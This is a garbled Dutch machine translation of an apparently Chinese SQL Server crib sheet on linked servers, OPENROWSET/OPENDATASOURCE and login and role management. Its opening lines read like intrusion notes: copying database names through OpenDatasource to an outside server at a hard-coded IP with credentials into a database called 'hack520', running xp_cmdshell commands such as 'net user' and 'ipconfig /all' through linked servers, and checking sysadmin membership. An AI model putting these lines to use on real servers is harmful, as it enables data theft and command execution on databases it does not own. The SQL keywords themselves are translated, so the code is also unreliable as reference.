('sqloledb','server=IP; uid=gebruiker; pwd=wachtwoord','selecteer @@version')
selecteer * uit openquery([LINKSERVER)
naam],'selecteer @@version')
selecteer * uit openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
selecteer * uit OpenQuery(GM_SERVER,'selecteer * uit sysobjects waarbij xtype = (''U'')')
Selecteer * uit
openquery(NDOORS,'Selecteer IS_MEMBER(''db_owner'')')
selecteer * uit openquery(toatdeweb,'select
srvnaam van master.dbo.sysservers')
Invoegen in OpenDatasource
('sqloledb','server=222.241.95.12; UID=SCD; PWD=A123520; database=hack520').hack520.dbo.zhu select
naam van master.dbo.sysdatabases create database hack520 Maak TABLE aan zhu(naam nvarchar(256)
null); Maak TABEL J8 aan (id int NULL,naam nvarchar(256) null);
Selecteer * uit OpenQuery
(toatdeweb,'zet fmtonly uit executive master.dbo.xp_cmdshell ''net user'')
Uitvoerend meester.. xp_dirtree
'c:\',1,1 Voer een querymap uit
exec links.master.. xp_cmdshell 'ipconfig'
selecteer * uit openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Verbind mysql Select * van Mem_DB. UserDB.dbo.AdminList
UITVOERENDE MEESTER.. XP_dirtree 'c:\',1,1
Leidinggevende
master.dbo.xp_cmdshell 'dir'
selecteer aantal(*) van [aangeven] Vraag hoeveel data er in de huidige tabel staat
Selecteer verschillende hostname,db_name(dbid),net_address,loginame,program_name
van meester.. SysProcesses
Selecteer * uit GameDB01. Server01.dbo.cabal_character_table waar naam='
Pig'
Wanneer je het verwijdert, staat er: De database wordt gebruikt en kan niet worden verwijderd.
Klik op de database die je wilt verwijderen om de Gebeurtenisweergave te openen.
Input:
Gebruik
meester Ga Voer dan het volgende in: Verklaar @d Varchar(8000) set @d= ' ' selecteer @d=@d+ ' kill
'+cast(spid als varchar)+char(13) van meester.. SysProcesses waarbij dbid=db_id('bibliotheeknaam') exec(@d) -- Gebruik code om eerst het proces te verwijderen dat verbinding maakt met deze database
MSSQL bedient Oracle via LinkServer
1) Oracle installeren op de SQL_SERVER 2005-server
9i cliënt. Stel dat je installeert in de C:\ora92i\-map. Als D: een NTFS-partitie is, moet je de ORACLE geïnstalleerde map instellen als de gebruikte
Abonnees hebben het recht om te draaien, toe te voegen en te verwijderen.
2) Configureer het bestand C:\ora92i\network\ADMIN\tnsnames.ora. (De volgende rode tekst is een voorbeeld van een configuratie)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRES = (PROTOCOL = TCP)(HOST = 192.168.0.11)(POORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Voer het volgende commando uit in DOS-modus om te bevestigen dat de ORACLE-client correct is geïnstalleerd.
sqlplus user/password@ORCL
4) Open Start - Control Panel - Services en bevestig dat de Distributed Transaction Coordinator-service is gestart.
5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (rechtermuisklik) - Nieuwe Connection Server.
1.
Linkserver: Schrijf de naam van de gekoppelde server, zoals OracleTest.
2. Servertype, selecteer een andere databron
3. Toegangsinterface: Selecteer Oracle Provider voor OLE DB
4. Productnaam: Write Oracle
5. Gegevensbron: Schrijf op
De servicenaam geconfigureerd in het tnsnames.ora-bestand, zoals ORCL
6. Access interface string: userid=sys als sysdba; wachtwoord=wachtwoord
7. Gebruik op de pagina 'Selecteer Beveiligingsopties' deze installatiecontext om een verbinding tot stand te brengen:
a) Externe login: gebruiker (andere gebruiker, niet sys)
b)
Gebruik wachtwoord: wachtwoord
8. Stel "NT AUTHORITY\SYSTEM" in op de lokale login, remote user sys, en stel het wachtwoord in
9.
Weet je het zeker
6) Er zijn twee manieren om SQL te schrijven
a) Gebruik van T-SQL-syntaxis:
SELECTEER * UIT
OraTest.ERP.BAS_ITEM_CLASS
Let op dat bij het invoeren van SQL-instructies in SQL Query Analyzer je let op de Chinese full-width en half-width switching
Weg!
b) Gebruik PLSQL-syntaxis: SELECTEER * UIT openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) De tweede toegangsmethode is ongeveer 50% sneller dan de eerste; De tweede toegangsmethode is direct verbonden
ORACLE is vergelijkbaar; De eerste toegangsmethode kan leiden tot onverwachte fouten, zoals: De tabel bestaat niet, noch de huidige gebruiker
Er is geen toegang tot de tafel, enzovoort.
d) Als de kolom die benaderd moet worden datatypes zonder precisie gebruikt, dan zijn beide
Dit is een bug van ORACLE die niet kan worden opgelost en alleen kan worden voorkomen door speciale afhandeling van query-instructies:
De metadata die door de OLE DB-provider 'OraOLEDB.Oracle' voor de kolommen wordt geleverd, is inconsistent. Metadata-informatie wordt bij uitvoering gewijzigd.
mssql toegevoegd
Verwijder de gebruiker en geef toestemming
Gebruik je bibliotheeknaam Ga --Gebruikers toevoegen Exec sp_addlogin 'test' -- voeg inloggen toe Uitvoerend
sp_grantdbaccess N'test' - het een legitieme gebruiker van de huidige database maken exec sp_addrolemember N'db_owner',
N'test' - geeft alle rechten aan hun eigen database --Dit creëert gebruikers die alleen toegang hebben tot hun eigen database en wat er in de database is opgenomen
Openbare tabel voor gastgebruikers Ga --Testgebruiker verwijderen exec sp_revokedbaccess N'test' -- Verwijder de toegang tot de database
Limiet exec sp_droplogin N'test' -- inlog verwijderen Als je het aanmaakt in Enterprise Manager, gebruik dan: Enterprise Manager - Beveiliging
Seks --Rechtsklik Inloggen--Nieuwe Login Algemene items --Voer de gebruikersnaam in de naam
--De authenticatiemethode wordt geselecteerd op basis van uw behoeften (als u Windows-authenticatie gebruikt, moet u eerst een nieuwe gebruiker aanmaken onder de gebruikers van het besturingssysteem)
--Selecteer in de standaardinstellingen de databasenaam die je wilt openen voor de nieuwe gebruiker Serverrol-item Kies hier niets voor databank
Toegangsitem Controleer de naam van de database die je wilt openen voor de gebruiker die je hebt aangemaakt Laat de databaserol toe, vink "publiek", "db_ownew" aan. Natuurlijk, dit
De gebruiker die door het voorbeeld wordt gecreëerd, is dezelfde als de gebruiker die door de bovenstaande uitspraak is gemaakt
De laatste stap is het instellen van specifieke toegangsrechten voor specifieke gebruikers, wat kan worden verwezen naar het volgende minimale voorbeeld:
--Gebruikers toevoegen die alleen toegang hebben tot de opgegeven tabel: exec sp_addlogin 'gebruikersnaam', 'wachtwoord', 'standaard databasenaam'
--toevoegen aan database exec sp_grantdbaccess 'gebruikersnaam'
--Wijs volledige tabelrechten toe GRANT SELECT , INSERT , UPDATE , DELETE op TABLE1 NAAR [gebruikersnaam] --Wijs rechten toe aan specifieke kolommen GRANT SELECT, UPDATE op tabel 1(id,AA) NAAR [gebruikersnaam]
Voor specifieke beveiligingsinstellingen en theoretische kennis, raadpleeg SQL Online Help
Vaste databaserolbeschrijving db_owner Volledige rechten in de database hebben.
db_accessadmin Je kunt gebruikers-ID's toevoegen of verwijderen.
db_securityadmin Kan volledige rechten, objecteigendom, rollen en rollidmaatschappen beheren.
db_ddladmin kunt ALLE DDL-verklaringen uitgeven, maar geen TOEKENNING, INTREKKEN of WEIGEREN.
db_backupoperator kunt DBCC-, CHECKPOINT- en BACKUP-statements uitgeven.
db_datareader Je kunt alle gegevens selecteren uit elke gebruikerstabel in de database.
db_datawriter Je kunt alle gegevens in elke gebruikerstabel in de database wijzigen.
db_denydatareader Je kunt geen data selecteren uit een gebruikerstabel in de database.
db_denydatawriter Je kunt geen gegevens wijzigen in een gebruikerstabel in de database.
Je moet kiezen voor db_datareader, db_datawriter, db_accessadmin
5. Nadat de SQL Server-instantie in single-user modus is gestart, kan het Windows-beheerdersaccount de sqlcmd-tool gebruiken om verbinding te maken in Windows-authenticatiemodus
SQL Server。 Je kunt T-SQL-commando's zoals "sp_addsrvrolemember" gebruiken om een bestaande login toe te voegen aan de sysadmin-serverrol
Of maak een nieuw inlogaccount aan. Een voorbeelduitspraak is als volgt:
EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
GA
Voeg een sysadmin-privilege toe
(1) Serverrollen beheren
In SQL Server zijn er twee hoofdprocedures die SQL Server-rolbeheer implementeren:
sp_addsrvrolemember
en sp_dropsrvrolemember
sp_addsrvrolemember Je kunt een inlogaccount toevoegen aan een serverrol om het lid van die serverrol te maken. De syntaxis is als volgt: sp_addsrvrolemember
Inloggen, rol
sp_dropsrvrolemember Je kunt een inlogaccount verwijderen van een serverrol, en wanneer het lid uit de serverrol wordt verwijderd, heeft het die serverrol niet langer
De permissies ingesteld. De syntaxis is als volgt: sp_dropsrvrolemember [@loginname=]'inloggen',[@rolename=]'rol'
daarin
@loginname is de naam van de ingelogde gebruiker; @rolename is een serverfunctie.
(2) Databaserollen beheren
In SQL Server wordt databasebeheer ondersteund
Er zijn zes hoofdtypen opgeslagen procedures, en hun specifieke betekenissen en syntaxis zijn als volgt:
sp_addrole: Gebruikt om een nieuwe databaserol aan te maken; sp_addrole
Rol, eigenaar
sp_droprole: Gebruikt om een databaserol uit de huidige databaserol te verwijderen; sp_droprole rol
sp_helprole:
Het wordt gebruikt om alle informatie over alle databaserollen in de huidige database weer te geven; sp_helprole ['rol']
sp_addrolemember: Gebruikt om naar de database te sturen
Voeg databasegebruikers toe aan een rol, die door gebruikers gedefinieerde standaardrollen of vaste databaserollen kan zijn, maar dat niet
Sollicitatiefuncties. sp_addrolemember rol, security_account
sp_droprolemember: Gebruikt om een bepaald personage te verwijderen
huishouden; sp_droprolemember rol, security_account
sp_helprolemember: Gebruikt om alle leden van een databaserol weer te geven
。 sp_helprolemember ['rol']
MSSQL LINKSERVER-query
---------------------------------------------------------------------------------- -- Auteur:
htl258(Tony) -- Datum: 2010-06-25 22:23:18 -- Versie: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9 jul 2008 14:43:34 -- Auteursrecht (c) 1988-2008 Microsoft Corporation --
Developer Edition op Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Onderwerp: SQL-databewerkingen tussen verschillende serverdatabases ---------------------------------------------------------------------------------- --1. Maak een linkserver aan --1.1 Maak een linknaam aan EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', de naam van de externe server
of IP-adres' -- Als je een aangepaste instantienaam hebt, voeg dan "\instance name" toe.
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Maak een login aan (of maak een linkserver loginkaart) (kies gewoon één manier) --1.2.1 Inloggen met Windows-authenticatie EXEC sp_addlinkedsrvlogin 'LinkName' --of EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Inloggen met SQL-authenticatie EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Gebruikersnaam', 'Wachtwoord'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */ --2. Linkserver-gerelateerde databewerkingen --2.1 Queryvoorbeeld SELECTEER * UIT LinkName.database naam.schema naam.tabel naam
/*例如:SELECT *
VAN TonyLink.Mydb.dbo.tb */ -- 2.2 Importvoorbeeld SELECTEER * IN tabelnaam VANUIT LinkName.database naam.schema naam.tabel naam
/*例如:SELECT * INTO Newtb
VAN TonyLink.Mydb.dbo.tb */ -- 2.3 Update voorbeeld UPDATE LinkName.Database Naam.Schema Naam.Tabel Naam SET veld='waarde' WAAR veld='conditie'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WAAR Persons='a' */ -- 2.4 Verwijderingsvoorbeelden VERWIJDER LinkNaam.Databasenaam.Schemanaam.Tabelnaam WAAR veldnaam='conditie'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WAAR Personen='g' */ --3 via de rowset-functie (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Methode
- 3.1 OPENQUERY-methode (vereist de hulp van de linkserver die je zojuist hebt gemaakt): -- 3.1.1 Queryvoorbeeld SELECTEER * UIT OPENQUERY(LinkName, 'SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam')
/* Bijvoorbeeld: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Importvoorbeelden --3.1.2.1 Import alle kolommen INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. Tabelnaam
') SELECTEER * UIT lokale tabel
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
VAN TB */ --3.1.2.2 Importeer de opgegeven kolommen INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. tabelnaam') (kolom, kolom...) SELECT-kolom,
Column... VAN de lokale tabel
/* Bijvoorbeeld: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) SELECTEREN
BEREIK, NIVEAU, Personen VAN tuberculose */ --3.1.3 Updatevoorbeelden UPDATE OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. tabelnaam') SET-veld = 'waarde' WAAR woord
Segment = 'Conditie'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Personen='a' */ --3.1.4 Verwijder voorbeelden DELETE OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. tabelnaam') WAAR veldnaam='conditie'
/*例
Bijvoorbeeld: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WAAR Persons='g' */ --3.2 OPENROWSET-methode (je hoeft de naam van de aangemaakte link niet te gebruiken.) Als de verbonden instantienaam niet de standaard is, moet je deze instellen op SQL Server naam of IP-adres.
"\instantienaam") --3.2.1 Queryvoorbeeld --3.2.1.1 Windows-authenticatiemethodenquery (een van de volgende methoden is voldoende) SELECTEER * UIT OPENROWSET('SQLOLEDB', 'server=sql servernaam of
IP-adres; Trusted_Connection=ja', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT OPENROWSET('SQLNCLI',
'server=sql servernaam of IP-adres; Trusted_Connection=ja', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT
OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; Trusted_Connection=ja','SELECTEER * UIT database
Naam. Naam van de architectuur. Tafelnaam') SELECTEER * UIT OPENROWSET('SQLNCLI', 'server=sql servernaam of IP-adres)
Adres; Trusted_Connection=ja','SELECTEER * VAN databasenaam. Naam van de architectuur. Tafelnaam')
/* Bijvoorbeeld: SELECTEER * UIT OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Of: SELECTEER * UIT OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)
Of: SELECTEER * UIT OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','SELECTEER *
VAN Mydb.dbo.tb')
Of: SELECTEER * UIT OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','SELECTEER *
VAN Mydb.dbo.tb') */ --3.2.1.2 SQL Authentication Method Query (Een van de volgende methoden is voldoende) SELECTEER * UIT OPENROWSET
('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT
OPENROWSET('SQLNCLI', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord','SELECTEER *
FROM databasenaam. Naam van de architectuur. Tafelnaam') SELECTEER * UIT OPENROWSET('SQLNCLI', 'server=sql servernaam of IP-adres; uid=
Gebruikersnaam; pwd=wachtwoord','SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam') SELECTEER * UIT OPENROWSET('SQLOLEDB', 'sql
servernaam'; 'gebruikersnaam'; 'wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT OPENROWSET('SQLNCLI', 'SQL SERVER NAAM'
'; 'gebruikersnaam'; 'wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' gebruiker
naam'; 'Wachtwoord', 'SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam') SELECTEER * UIT OPENROWSET('SQLNCLI', 'sql server)
naam'; 'gebruikersnaam'; 'Wachtwoord', 'SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Of: SELECTEER * UIT OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Of: SELECTEER * UIT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECTEER * UIT Mydb.dbo.tb')
of: SELECTEER * UIT OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECTEER * UIT
Mydb.dbo.tb')
of: SELECTEER * UIT OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
of: SELECTEER * UIT OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
of: SELECTEER * UIT OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECTEER * UIT Mydb.dbo.tb')
of: SELECTEER * UIT OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECTEER * UIT Mydb.dbo.tb') */ --3.2.2 Importvoorbeeld --3.2.2.1 Import alle kolommen INSERT OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres)
Adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam) SELECTEER * UIT lokale tabel
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SELECTEER * UIT TB */ --3.2.2.2 Import
Specificeer kolommen VUL OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres) in; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Rack
Constructnaam. tabelnaam) (kolom, kolom...) SELECTEER kolom, kolom... VAN de lokale tabel
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(BEREIK, NIVEAU, Personen) SELECTEREN
BEREIK, NIVEAU, Personen VAN tuberculose */ --Opmerking: Voor meer alternatieve methoden, zie het .2.1 queryvoorbeeld, vervang gewoon de OPENROWSET-functie
De inhoud is voldoende. --3.2.3 Updatevoorbeeld UPDATE OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam
;p wd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam) SET-veld = 'waarde' WAAR veld = 'conditie'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Personen='g' WAAR Personen='a' */ --Opmerking: Voor meer alternatieve methoden, zie het .2.1-queryvoorbeeld, vervang gewoon de inhoud in de OPENROWSET. --3.2.4 Verwijder de aanwijzing
Voorbeeld VERWIJDER OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Schemanaam
.tabelnaam) WAAR veldnaam = 'conditie'
/* Bijvoorbeeld: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) WAAR
Personen='g' */ --Opmerking: Voor meer alternatieve methoden, zie het .2.1 queryvoorbeeld, vervang gewoon de inhoud in de OPENROWSET. --3.3 OPENDATASOURCE-methode
(Je hoeft de naam van de aangemaakte link niet te gebruiken.) Als de instantienaam van de verbinding niet standaard is, moet je \instance naam toevoegen na de sql-servernaam of IP-adres
") --3.3.1 Queryvoorbeeld --3.3.1.1 Windows Authenticatiemethodenquery (Een van de volgende methoden is voldoende) SELECTEER * UIT OPENDATASOURCE('SQLOLEDB',
'server=sql servernaam of IP-adres; Trusted_Connection=ja'). Databasenaam. Naam van de architectuur. Tabelnaam SELECTEER * UIT
OPENDATASOURCE('SQLNCLI', 'server=sql servernaam of IP-adres; Trusted_Connection=ja'). Databasenaam. Naam van de architectuur.
Tabelnaam
/* Bijvoorbeeld: SELECTEER * UIT OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
Of: SELECTEER * UIT OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb */ --3.3.1.2 SQL-authenticatiemethodequery (een van de volgende methoden is voldoende) SELECTEER * UIT OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of
IP-adres; uid=gebruikersnaam; pwd=wachtwoord'). Naam van de database. Naam van de architectuur. Tabelnaam SELECTEER * UIT OPENDATASOURCE('SQLNCLI', 'server=sql servernaam of IP-adres; uid=gebruiker
Naam; pwd=wachtwoord'). Naam van de database. Naam van de architectuur. Tabelnaam SELECTEER * UIT OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernaam of IP-adres)
Adres; uid=gebruikersnaam; pwd=wachtwoord'). Naam van de database. Naam van de architectuur. Tabelnaam SELECTEER * UIT OPENDATASOURCE('SQLNCLI', 'Data Source=sql servernaam of IP-adres)
Adres; uid=gebruikersnaam; pwd=wachtwoord'). Naam van de database. Naam van de architectuur. Tabelnaam
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Of: SELECTEER * UIT OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Of: SELECTEER * UIT OPENDATASOURCE('SQLOLEDB','Data
Bron=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Of: SELECTEER * UIT OPENDATASOURCE('SQLNCLI','Data
bron=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importeer alle kolommen VUL OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres) in; uid=gebruikersnaam; pwd=wachtwoord').
Volgens de naam van de bibliotheek. Naam van de architectuur. Tabelnaam SELECTEER * UIT lokale tabel
/* Bijvoorbeeld: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SELECTEREN
* VAN TBB */ --3.3.2.2 Importeer de opgegeven kolommen VUL OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres) in; uid=gebruikersnaam; pwd=wachtwoord').
Volgens de naam van de bibliotheek. Naam van de architectuur. Tabelnaam (kolom, kolom...) SELECTEER kolom, kolom... VAN de lokale tabel
/* Bijvoorbeeld: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(BEREIK, NIVEAU, Personen) SELECTEER BEREIK, NIVEAU, Personen VAN tuberculose */ --Opmerking: Voor meer alternatieve methoden, zie het .3.1-queryvoorbeeld, vervang gewoon de inhoud in de lijnsetfunctie (OPENDATASOURCE). --3.3.3 Updatevoorbeeld UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord'). Naam van de database. Naam van de architectuur. Tabelnaam SET-veld = 'waarde' WAAR veld = 'conditie'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Personen='g' WAAR Personen='a' */ --Opmerking: Voor meer alternatieve methoden, zie het .3.1-queryvoorbeeld, vervang gewoon de inhoud in de lijnsetfunctie (OPENDATASOURCE). --3.3.4 Verwijderingsvoorbeeld VERWIJDER OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord'). Naam van de database. Naam van de architectuur. Tabelnaam WAAR veldnaam = 'conditie'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb WAAR Personen='g' */ - Opmerking: Meer alternatieven
Zie het .3.1 queryvoorbeeld, vervang gewoon de inhoud in de rowset-functie (OPENDATASOURCE). -- Verwijder de gekoppelde servermethode --Als je de linkinformatie in de toekomst niet meer gebruikt, kun je de linkinformatie verwijderen --4.1 Verwijder inloggegevens (of verwijder gekoppelde server loginnaammap) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Bijvoorbeeld: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Verwijder de gekoppelde servernaam EXEC sp_dropserver 'LinkName', 'droplogins' – als droplogins zijn gespecificeerd, De loginmap moet worden verwijderd voordat de gekoppelde server wordt verwijderd
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Bijgevoegd
: Hoe krijg je de Provider Name (EXEC master). xp_enum_oledb_providers) SELECTEER CAST([Provider Naam] AS
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion VAN
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ja', 'ZET ALLEEN AF; EXEC
Meester.. xp_enum_oledb_providers'
)
|